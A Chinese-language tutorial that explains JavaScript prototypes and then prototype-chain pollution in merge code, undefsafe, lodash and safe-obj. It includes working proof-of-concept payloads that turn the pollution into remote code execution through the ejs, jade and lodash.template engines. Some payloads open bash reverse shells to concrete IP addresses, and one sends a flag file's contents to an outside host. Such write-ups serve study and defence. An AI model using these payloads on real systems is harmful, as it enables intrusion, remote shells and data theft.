深入学习JavaScript原型链污染

JavaScript类

下面是一个基本的 JavaScript 类的声明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Calculator {
constructor(num) {
this.num = num
}
applyAdd(op) {
this.num += op
return this
}
applySub(op) {
this.num -= op
return this
}
static add(num1, num2) {
return num1 + num2
}
static sub(num1, num2) {
return num1 - num2
}
}

然后我们创建类的实例

1
2
3
4
let calc = new Calculator(1)
console.log(calc.num)
console.log(calc.applyAdd(2).num)
console.log(Calculator.sub(11, 5))

运行结果为:1,3,6

基于我们在其它编程语言的习惯,上面的代码非常易于理解

上述代码中,num称为类Calculator属性applyAdd``applySub称为类Calculator方法add``sub称为类Calculator静态方法

在 ES6 之前,JavaScript 并没有提供 class 语法,类的功能是基于函数(function)来实现的,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 创建类
function Calculator(num) {
this.num = num
}
Calculator.prototype.applyAdd = function (op) {
this.num += op
return this
}
Calculator.prototype.applySub = function (op) {
this.num -= op
return this
}
Calculator.add = function (num1, num2) {
return num1 + num2
}
Calculator.sub = function (num1, num2) {
return num1 - num2
}

// 创建实例
let calc = new Calculator(1)
console.log(calc.num)
console.log(calc.applyAdd(2).num)
console.log(Calculator.sub(11, 5))

现在我们注意下面几个细节

  • 用函数实现时,function Calculator的内容(参数、函数体)与用类实现时的constructor相同
  • 用函数实现时,方法applyAdd applySub声明在Calculator.prototype层中
  • 用函数实现时,静态方法add sub直接声明在Calculator层中

构造器constructor

刚才的 new 操作完全可以写成

1
let calc2 = new calc.constructor()

这意味着,创建一个类的含义就是创建了一个构造器函数,创建一个实例的含义就是在继承的基础上运行了这个构造器函数

为了确保继承过程顺利进行,这个构造器函数必须含有以下特征

  • 包含prototype属性

而在 JavaScript 中,任意函数都默认具有prototype属性,因此,任意函数都符合一个构造器的标准,任意函数都是一个构造器,可用于生成类实例

1
2
function TestClass() {}
let test = new TestClass()

以上代码并不会报错

在 JavaScript 中,继承这个概念贯彻在许多操作中,每一个新的 JSON 结构的诞生,都进行了类似 new 的逻辑,因此,任何一个对象(除了null)都具有constructor属性,包括构造器本身

构造器本身是一个函数,当我们循环访问constructor时将得到 JavaScript 预定义的构造器Function,而Function的构造器仍然是它本身

1
Function.constructor === Function

以上表达式将返回true

我们可以总结出如下现象

  • 构造器链的尽头是Function
  • Function的构造器是Function本身

image-20241022113148214

原型和继承

当我们谈论 JavaScript 的原型,实际上是在谈论对象(JSON 结构)之间的特殊关系,有继承就有原型,有原型就有继承

原型的定义大致可以描述为:AB是两个 JSON 结构,B继承于A,具有A的全部内容,那么称A就是B的原型

在 JavaScript 中,一个 JSON 结构就可以称为是一个具体的对象,甚至包括Number``String

null是一个特殊的对象,它表示空,如果把对象之间的继承关系画一个遗传系谱图,那么null就是这张图上最原始的祖先

我们具有构造器函数Calculator,它也是一个 JSON 结构(对象),具有一个属性prototype,我们可以将这个属性理解为创建实例时的“模板”,当创建实例时,实例会继承这个“模板”的全部内容

当我们单独说谁是原型时,其实并没有意义,Calculatorprototype不是Calcualtor的原型,而是Calculator所要创建的实例(calc)的原型,事实上,这里命名为prototype(英文译为“原型”)造成了重大的歧义,经常对初学者甚至从业多年的程序员造成巨大困扰,为了方便表述、避免歧义,我们之后将把构造器的prototype称为构造器的“原型模板”

构造器Calculator创建出实例calc后,calc含有一个属性__proto__,这个属性即为calc的原型

刚才我们也提到Calculator.prototype也是calc的原型,所以它们两个是等价的,下面的表达式将返回true

1
calc.__proto__ === Calculator.prototype

当访问calc下的applyAdd,如果calc自己没有applyAdd,则会从它的原型中去查找,从而实现继承

几乎所有 JavaScript 中的对象都有原型,在 JavaScript 中,可以访问任何对象的__proto__属性查看它的原型

另一方面,有原型就有继承,有继承就有相应的构造器,我们可以访问任何对象的constructor属性查看它的构造器

原型对象 prototype 和 __proto__

首先我们需要分辨清楚prototype__proto__的区别,以Calculator为例,这个构造器函数的原型并不是Calculator.prototype,而是Calculator.__proto__calc的原型是calc.__proto__等于Calculator.prototype

对于这两个原型对象我有两种理解:结合理解最好!

总之,constuctor属性和**__proto__**属性都不是被添加上去的,而是继承自构造器的prototype属性

一、出自一位W&M大神

prototype其实并不能说是”原型”,我认为它是”原型模板”,Calculator使用他的原型模板创建了calc。当我们对原型模板进行改变时,后续创建的新对象自然也会发生改变。

当我们循环访问__proto__时,最终将指向null,而当我们循环访问constructor.prototype时,最终将会给出相同的结果

这是因为一个构造器的“原型模板”的构造器就是构造器本身

1
2
3
4
5
Number.prototype.constructor === Number
Object.prototype.constructor === Object
Function.prototype.constructor === Function
Calculator.prototype.constructor === Calculator
calc.constructor.prototype.constructor === calc.constructor

以上表达式都将返回true

这种“循环自引用”的逻辑或许会有些难以理解和记忆,但它这么设计是有它的意义所在的

如果我们将prototypeconstructor修改成其它的将会发生什么?例如

1
2
Calculator.prototype.constructor = Number
let calc = new Calculator(1)

然后我们访问calc.constructor,它将返回Number构造器

让我们查看calc的 JSON 结构

image-20241022110932799

因此,calccontructor属性并不是被添加上去的,而是继承自prototype的,这也说明了为什么一个构造器的prototype.constructor默认指向这个构造器本身

1
2
3
4
5
// Calculator 请重新声明以覆盖前面对 prototype.constructor 的修改
let calc = new Calculator(1)
calc.constructor.prototype === calc.__proto__
calc.constructor.prototype.constructor.prototype === calc.__proto__.__proto__
calc.constructor.prototype.constructor.prototype === calc.constructor.prototype

运行结果为true,flase,true

constructor.prototype不同的是,__proto__将直接指向当前的 JSON 结构继承自哪里

我们检查calc这个对象(JSON 结构)本身的层级是否具有__proto__属性

1
Object.hasOwnProperty.call(calc, '__proto__')

运行结果为false

可见其实calc本身并不具有__proto__属性

在 JavaScript 中,当我们访问一个对象的A属性,如果当前对象的 JSON 结构中找不到A属性,JavaScript 会从它的原型中去寻找

由于这个特性的存在,如果它的原型(也是一个 JSON 结构)中找不到,会从它的原型的原型中去找,直到原型为null也没有找到则返回undefined

接下来我们追溯它的原型

1
2
3
Object.hasOwnProperty.call(calc.__proto__, '__proto__')
Object.hasOwnProperty.call(calc.__proto__.__proto__, '__proto__')
Object.hasOwnProperty.call(calc.__proto__.__proto__.__proto__, '__proto__')

第一行返回了falsecalc.__proto__Calculator.prototype,它的原型的 JSON 结构本身也不具有__proto__属性

第二行返回了true,我们再次打印calc.__proto__.__proto__的结果

image-20241022111722369

这个结果和Object.prototype一致

我们可以从Object.prototype的 JSON 结构中看到,它含有一个__proto__属性,但是它是一个 Getter,访问__proto__属性将运行这个 Getter 函数,将这个函数的返回值作为__proto__属性的值

1
2
3
4
5
所谓 Getter,就是指一个属性的值与一个函数相绑定,访问这个属性,它的值会通过一个函数动态获取,这个函数称为这个属性的 Getter 函数

相应的,还有 Setter 这一概念,当通过赋值语句`=`对这个属性进行赋值时,实际上是以`=`后面的值为函数的参数调用了它的 Setter 函数

对于`__proto__`这一 Getter,它的逻辑在 JavaScript 解释器的代码中得到定义,而并不是 JavaScript 语言本身能够定义的

我们可以通过运行如下代码判断一个它是不是一个 Getter

1
Object.getOwnPropertyDescriptor(Object.prototype, '__proto__')

运行结果如下:

image-20241022112020163

显然__proto__的值是通过get: __proto__()动态获取的

我们运行Object.getOwnPropertyDescriptor(Object.prototype, '__proto__').get.call(calc)(意思是以calc为这个 Getter 的 this 指针运行这个 Getter 函数)的结果和cal.__proto__一样

image-20241022112123544

因此,calc中的__proto__实际上是通过 JavaScript 中层层向原型访问的机制寻找到的,它最终通过原型链指向了Object.prototype中的__proto__这一带有 Getter 的属性

我们可以通过下面的代码将Object.prototype__proto__修改为一个确定的、不带有 Getter 的值

1
Object.defineProperty(Object.prototype, '__proto__', { value: 123 })

然后我们会发现众多对象的__proto__都变成了123,包括calcCalculator.prototype

image-20241022112213500

二、出自p神的博客

不仅可以把prototype理解为原型模板,也可以将其理解为构造器的属性。

JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:

1
2
3
4
5
function Foo() {
this.bar = 1
}

new Foo()

Foo函数的内容,就是Foo类的构造函数,而this.bar就是Foo类的一个属性。

为了简化编写JavaScript代码,ECMAScript 6后增加了class语法,但class其实只是一个语法糖。

一个类必然有一些方法,类似属性this.bar,我们也可以将方法定义在构造函数内部:

1
2
3
4
5
6
7
8
function Foo() {
this.bar = 1
this.show = function() {
console.log(this.bar)
}
}

(new Foo()).show()

但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function...就会执行一次,这个show方法实际上是绑定在对象上的,而不是绑定在“类”中。

我希望在创建类的时候只创建一次show方法,这时候就则需要使用原型(prototype)了:

1
2
3
4
5
6
7
8
9
10
function Foo() {
this.bar = 1
}

Foo.prototype.show = function show() {
console.log(this.bar)
}

let foo = new Foo()
foo.show()

我们可以认为原型prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。比如上图中的foo对象,其天生就具有foo.show()方法。

我们可以通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__登场了。

一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:

1
foo.__proto__ == Foo.prototype

所以,总结一下:

  1. prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
  2. 一个对象的__proto__属性,指向这个对象所在的类的prototype属性

new做了什么事情

new 的过程实际上就是根据构造器的prototype属性创建一个 JavaScript 对象(JSON 结构)的过程,它具有以下步骤:

  1. 创建一个空的 JSON 结构
  2. 以这个新的 JSON 结构为 this,运行类的构造器constructor
  3. 在程序内部将这个 JSON 结构的原型指向构造器的prototype
  4. 返回这个新的 JSON 结构

实例的属性由constructor函数对this添加属性而直接添加于实例(新的 JSON 结构)之下,属性是这个实例独有的,由相同构造器创建的其它实例具有它们独有的属性,互不影响

实例的方法继承自构造器的prototype,改变构造器中的prototype的内容将影响到所有由这个构造器创建的实例

当我们访问这个实例的constructor属性时,JavaScript 并没有在这个实例的 JSON 结构中找到对应的属性,转而向它的原型(构造器的prototype)寻找,并找到了constructor属性,然后返回它的值

当我们访问这个实例的__proto__属性时,JavaScript 并没有在这个实例的的 JSON 结构中找到对应的属性,转而向它的原型(构造器的prototype)寻找,在它的原型中也没有找到,转而继续向它的原型的原型(Object.prototype)寻找,并找到了__proto__属性,并返回它的值,由于它是一个 Getter,所以 JavaScript 以所访问的实例为 this 返回了这个 Getter 函数的返回值

我们访问实例的constructor__proto__属性的过程反映了 JavaScript 中的一个重要概念:原型

原型链污染是什么

foo.__proto__指向的是Foo类的prototype。那么,如果我们修改了foo.__proto__中的值,是不是就可以修改Foo类呢?

做个简单的实验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

最后,虽然zoo是一个对象{},但zoo.bar的结果居然是2:

image-20241022120446218

原因也显而易见:因为前面我们修改了foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。

后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了。

那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

哪些情况下原型链会被污染

在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?

我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:

  • 对象merge
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)

以对象merge为例,我们想象一个简单的merge函数:

1
2
3
4
5
6
7
8
9
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,是不是就可以原型链污染呢?

我们用如下代码实验一下:

1
2
3
4
5
6
7
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

结果是,合并虽然成功了,但原型链没有被污染:

image-20241022120618935

这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]__proto__并不是一个key,自然也不会修改Object的原型。

那么,如何让__proto__被认为是一个键名呢?

我们将代码改成如下:

1
2
3
4
5
6
7
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

可见,新建的o3对象,也存在b属性,说明Object已经被污染:

image-20241022120654277

这是因为,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

Undefsafe 模块原型链污染(CVE-2019-10795)

Undefsafe 是 Nodejs 的一个第三方模块,其核心为一个简单的函数,用来处理访问对象属性不存在时的报错问题。但其在低版本(< 2.0.3)中存在原型链污染漏洞,攻击者可利用该漏洞添加或修改 Object.prototype 属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
var undefsafe = require('undefsafe');

var object = {
a: {
b: {
c: 1,
d: [1, 2, 3],
e: 'skysec'
}
}
};

console.log(object.a.b.e)

image-20241224120158722

此处是正常的,那么如果我们访问不存在的属性,看看效果

image-20250509150750175

会发生报错!但是如果我们使用了undefsafe模块,就不会产生报错,而是输出undefined

image-20241224120338705

同时在对对象赋值时,如果目标属性存在undefsafe模块会修改属性值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var undefsafe = require('undefsafe');

var object = {
a: {
b: {
c: 1,
d: [1, 2, 3],
e: 'skysec'
}
}
};

console.log(object)
undefsafe(object,"a.b.e","114514")
console.log(object)

image-20241224120429649

如果不存在则访问属性会在上层进行创建并赋值

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var undefsafe = require('undefsafe');

var object = {
a: {
b: {
c: 1,
d: [1, 2, 3],
e: 'skysec'
}
}
};
var payload = "__proto__.toString";
undefsafe(object,payload,"evilstring");
console.log(object.toString);

image-20241224120604823

由于toString本身就是存在,我们通过Undefsafe将其更改成了我们想要执行的语句。也就是说当undefsafe()函数的第 2,3 个参数可控时,我们便可以污染 object 对象中的值
(即使是不存在的属性也可以污染)

1
2
3
4
5
var a = require("undefsafe");
var test = {}
a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test) // 将test对象与字符串'this is '进行拼接
// this is just a evil!

image-20241224120815321

ejs模板引擎RCE

版本 3.1.6 或更早版本

RCE的前提是需要有原型链污染, 例如一个简单的登录界面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: 'login success!'});
}else{
return res.json({ret_code: 2, ret_msg: 'login fail!'});
}

});

跟进 copy() 函数可以看到合并两个数组内容到第一个数组

1
2
3
4
5
6
7
8
9
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

那我们就有一个可以污染的口子, 在 app.js 里可以得知使用的是 ejs 模板引擎

1
2
app.engine('html', require('ejs').__express); 
app.set('view engine', 'html');

ejs 的 renderFile 进入

1
2
3
4
exports.renderFile = function () {
...
return tryHandleCache(opts, data, cb);
};

跟进 tryHandleCache 函数, 发现一定会进入 handleCache 函数

image-20250509150815555

跟进 handleCache 函数

1
2
3
4
5
function handleCache(options, template) {
...
func = exports.compile(template, options);
...
}

image-20250509150921439

如果能够覆盖 opts.outputFunctionName , 这样我们构造的payload就会被拼接进js语句中,并在 ejs 渲染时进行 RCE

1
2
3
4
prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection
prepended += ' var __tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2 = __append;'
// 拼接了命令语句

在污染了原型链之后, 渲染直接变成了执行代码, 经过 return 体前返回, 即可 getshell, POC 如下

1
2
3
{"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}

{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2"}}}
1
{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/156.238.233.113/4567 0>&1\"'); __tmp2"}}}

进行 copy 函数后, 此时 outputFunctionName 已经在全局变量中被复制了, 可以在 Global 的 __proto____proto____proto__ 下找到我们的污染链

image-20250509150948281

再次刷新页面进行渲染时就会把我们写入的拼接, 执行我们输入的命令

image-20250509151014518

同样 ejs 模板还存在另一处 RCE

1
2
3
4
5
6
7
8
9
var escapeFn = opts.escapeFunction;
var ctor;
...
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}

伪造 opts.escapeFunction 也可以进行 RCE

1
2
3
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true}}}

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}

可以看到 escapeFunction 已经在全局变量中被复制了

image-20250509151038739

再次刷新页面进行渲染时就会把我们写入的拼接, 执行我们输入的命令

image-20250509151052125

添加 "debug":true 污染时可以在调试时候看到自己赋值的命令

image-20250509151117340

一些常用payload:

1
2
3
4
5
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.77.200.94/8888 0>&1\"');var __tmp2"}}

第二个好用,上面有些都用不了。多试试!!!

jade模板引擎RCE

原型链的污染思路和 ejs 思路很像, 从 require('jade').__express 进入 jade/lib/index.js

1
2
3
4
5
6
exports.__express = function(path, options, fn) {
if(options.compileDebug == undefined && process.env.NODE_ENV === 'production') {
options.compileDebug = false;
}
exports.renderFile(path, options, fn);
}

跟进 renderFile 函数

1
2
3
4
exports.renderFile = function(path, options, fn){
...
return handleTemplateCache(options)(options);
};

返回的时候进入了 handleTemplateCache 函数, 跟进

image-20250509151139300

会进入 complie 方法, 跟进

image-20250509151155381

jade 模板和 ejs 不同, 在compile之前会有 parse 解析, 尝试控制传入 parse 的语句

image-20250509151219036

在 parse 函数中主要执行了这两步, 最后返回的部分

1
2
3
4
5
6
7
8
9
var body = ''
+ 'var buf = [];\n'
+ 'var jade_mixins = {};\n'
+ 'var jade_interp;\n'
+ (options.self
? 'var self = locals || {};\n' + js
: addWith('locals || {}', '\n' + js, globals)) + ';'
+ 'return buf.join("");';
return {body: body, dependencies: parser.dependencies};

options.self 可控, 可以绕过 addWith 函数, 回头跟进 compile 函数, 看看作用

image-20250509151251727

返回的是 buf, 跟进 visit 函数

image-20250509151300177

如果 debug 为 true, node.line 就会被 push 进去, 造成拼接 (两个参数)

1
2
jade_debug.unshift(new jade.DebugItem( 0, "" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//
// 注释符注释掉后面的语句

在返回的时候还会经过 visitNode 函数

1
2
visitNode: function(node){
return this['visit' + node.type](node);}

经过测试 visit 开头的函数, 结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
visitAttributes
visitBlock
visitBlockComment √
visitCase
visitCode √
visitComment √
visitDoctype √
visitEach
visitFilter
visitMixin
visitMixinBlock √
visitNode
visitLiteral
visitText
visitTag
visitWhen

然后就可以返回 buf 部分进行命令执行

1
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//"}}}

补充: 针对 jade RCE链的污染, 普通的模板可以只需要污染 self 和 line, 但是有继承的模板还需要污染 type

Lodash 模块原型链污染

Lodash 是一个 JavaScript 库,包含简化字符串、数字、数组、函数和对象编程的工具,可以帮助程序员更有效地编写和维护 JavaScript 代码。

lodash.defaultsDeep 方法 CVE-2019-10744

影响了小于 4.17.12 的所有版本的 lodash。

Lodash 库中的 defaultsDeep 函数可能会被包含 constructor 的 Payload 诱骗添加或修改Object.prototype 。最终可能导致 Web 应用程序崩溃或改变其行为,具体取决于受影响的用例。以下是 Snyk 给出的此漏洞验证 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'

function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}

check();

console.log(Object.whoami);

image-20250509151324110

这里我们本地调试一下

image-20241224123506464

f7跟进后

image-20241224123554811

注意看下面的变量,merge成功了。

成功在类型为 Object 的 a 对象的 __proto__ 属性中添加了一个 whoami 属性,值为 Vulnerable,污染成功。

image-20241224123624588

原型被污染了

在 lodash.merge 方法造成的原型链污染中,为了实现代码执行,我们常常会污染 sourceURL 属性,即给所有 Object 对象中都插入一个 sourceURL 属性,然后通过 lodash.template 方法中的拼接实现任意代码执行漏洞。后面会讲到。

lodash.merge 方法造成的原型链污染CVE-2018-3721

在lodash 4.17.5之前的版本中 存在这个漏洞

Lodash.merge 作为 lodash 中的对象合并插件,他可以递归合并 sources 来源对象自身和继承的可枚举属性到 object 目标对象,以创建父映射对象:

1
merge(object, sources)

这种格式的东西在原型链污染中是出现频率很高的危险函数之一

这里当两个键相同的时候,生成的对象将有最右边的值,在这里也就是sources的值。当有多个对象相同的时候,那么新生成的对象将只有一个与这些对象相对应的键和值。这也就是之前在Merge类污染的时候讲过的递归那一块,其实和之前说的Merge类污染是很相似的,我们来看源码。

  • node_modules/lodash/merge.js

image-20250509151455115

直接调用了baseMerge方法,我们直接跟进

  • node_modules/lodash/_baseMerge.js

这里对srcValue有一个筛选,如果他是一个对象的话就进入baseMergeDeep方法,我们要去Merge的对象一定是个Object

  • node_modules/lodash/_baseMergeDeep.js

image-20250509151607942

这里对于上一步的srcValue直接丢进了assignMergeValue中,继续跟进

  • node_modules/lodash/_assignMergeValue.js:

image-20250509151632417

这里对value的值和对象键名啥的进行一个筛选,但是最终就是进入baseAssignValue

  • node_modules/lodash/_baseAssignValue.js

image-20250509151703830

这里可以进行绕过

1
2
3
prefixPayload = { nickname: "Will1am" };
payload:{"constructor": {"prototype": {"role": "admin"}}}
_.merge(prefixPayload, payload);

最终进入 object[key] = value 的赋值操作。

也就是object[prototype] = {“role”: “admin”}

这样就给原型对象赋值了一个名为role,值为admin的属性

POC:

1
2
3
4
5
6
7
var lodash= require('lodash');
var payload = '{"__proto__":{"polluted":"yes"}}';

var a = {};
console.log("Before polluted: " + a.polluted);
lodash.merge({}, JSON.parse(payload));
console.log("After polluted: " + a.polluted);

我们在 lodash.merge({}, JSON.parse(payload)); 处下断点,单步结束后可以看到:

image-20250509151759072

成功在类型为 Object 的 a 对象的 __proto__ 属性中添加了一个 polluted 属性,值为 yes,污染成功。

image-20250509151826000

运行结果也表示了污染成功

lodash.mergeWith 方法 CVE-2018-16487

4.17.11之前的版本 存在这个漏洞

这个方法类似于 merge 方法。但是它还会接受一个 customizer,以决定如何进行合并。 如果 customizer 返回 undefined 将会由合并处理方法代替。

1
mergeWith(object, sources, [customizer])

这个方法在4.0.0版本之后添加的

image-20250509151851505

lodash.set 方法 以及 setWith 方法 CWE-400

设置object对象中对应 path 属性路径上的值,如果path不存在,则创建。 缺少的索引属性会创建为数组,而缺少的属性会创建为对象。 使用**_.setWith** 定制path创建。

1
set(object, path, value)
  1. object (Object): 要修改的对象。
  2. path (Array|string): 要设置的对象路径。
  3. value (*): 要设置的值。

返回(Object): 返回 object。

漏洞验证poc:

1
2
3
4
5
6
7
8
var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

image-20241224135710297

还有一个setWith,与上面的类似

但是还回接受一个customizer,用来调用并决定如何设置对象路径的值。 如果 customizer 返回 undefined 将会有它的处理方法代替。customizer 调用3个参数: (nsValue, key, nsObject)

image-20250509151924704

1
2
3
4
5
6
7
8
9
var lodash= require('lodash');

var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}

console.log(object_1.whoami);
//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);

image-20241224140006500

lodash.zipObjectDeep 方法 CVE-2020-8203

影响版本 < 4.17.20

image-20250509152006698
1
2
3
const _ = require('lodash');
_.zipObjectDeep(['__proto__.z'],[123])
console.log(z) // 123

image-20241224140456429

接下来跟一下源码:

image-20250509152032061

跟进一下baseZipObject函数

image-20250509152056379

POC中调用baseZipObject函数时,length等于1,varsLength等于1,assignFunc是baseSet。

因此执行的其实是

1
baseSet({}, '__proto__.z', 123)

跟进baseSet函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
var assignValue = require('./_assignValue'),
castPath = require('./_castPath'),
isIndex = require('./_isIndex'),
isObject = require('./isObject'),
toKey = require('./_toKey');

/**
* The base implementation of `_.set`.
*
* @private
* @param {Object} object The object to modify.
* @param {Array|string} path The path of the property to set.
* @param {*} value The value to set.
* @param {Function} [customizer] The function to customize path creation.
* @returns {Object} Returns `object`.
*/
function baseSet(object, path, value, customizer) {
if (!isObject(object)) {
return object;
}
path = castPath(path, object);

var index = -1,
length = path.length,
lastIndex = length - 1,
nested = object;

while (nested != null && ++index < length) {
var key = toKey(path[index]),
newValue = value;

if (index != lastIndex) {
var objValue = nested[key];
newValue = customizer ? customizer(objValue, key, nested) : undefined;
if (newValue === undefined) {
newValue = isObject(objValue)
? objValue
: (isIndex(path[index + 1]) ? [] : {});
}
}
assignValue(nested, key, newValue);
nested = nested[key];
}
return object;
}

module.exports = baseSet;

这里用到castPath将路径__proto__.z解析成属性数组['__proto__','z']

然后就进入了while循环,大概执行了以下操作:

按属性数组中元素的顺序,依次获取对象原有的属性值,并进行赋值;

如果该属性不是数组的最后一个元素,那赋值为对象本身,或空数组,或{}。

如果是数组的最后一个元素,就将该属性赋值为我们期望的value。

配合 lodash.template 实现 RCE

Lodash.template 是 Lodash 中的一个简单的模板引擎,创建一个预编译模板方法,可以插入数据到模板中 “interpolate” 分隔符相应的位置。 HTML会在 “escape” 分隔符中转换为相应实体。 在 “evaluate” 分隔符中允许执行JavaScript代码。 在模板中可以自由访问变量。 如果设置了选项对象,则会优先覆盖 _.templateSettings 的值。

在 Lodash 的原型链污染中,为了实现代码执行,我们常常会污染 template 中的 sourceURL 属性

我们看一下相关的源码

1
2
3
4
5
6
7
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});

可以看到 sourceURL 属性是通过一个三元运算赋值,options是一个对象,sourceURL取到了其options.sourceURL属性。这个属性原本是没有赋值的,默认取空字符串。

但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL属性。最后,这个sourceURL被拼接进new Function的第二个参数中,造成任意代码执行漏洞。

这里要注意的是 Function 内是没有 require 函数的,我们不能直接使用 require(‘child_process’) ,但是我们可以使用 global.process.mainModule.constructor._load 这一串来代替,后续的调用就很简单了。

1
\u000areturn e => {return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"}

因为require不是全局的,他只存在于当前的模块范围,但是new function是在新的领域运行的,所以我们想利用的话要先将它引用过来

示例payload:

1
{"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://onsdtb.ceye.io/${result}`);req.end();\r\n"}}

safe-obj模块原型链污染

CVE-2021-25928

版本: 1.0.0 至 1.0.2

image-20241224142132326

1
2
3
4
5
var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted');
console.log("After : " + {}.polluted);

image-20241224142219740

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
expand: function (obj, path, thing) {
if (!path || typeof thing === 'undefined') {
return;
}
obj = isObject(obj) && obj !== null ? obj : {};
var props = path.split('.');
if (props.length === 1) {
obj[props.shift()] = thing;
} else {
var prop = props.shift();
if (!(prop in obj)) {
obj[prop] = {};
}
_safe.expand(obj[prop], props.join('.'), thing);
}
},

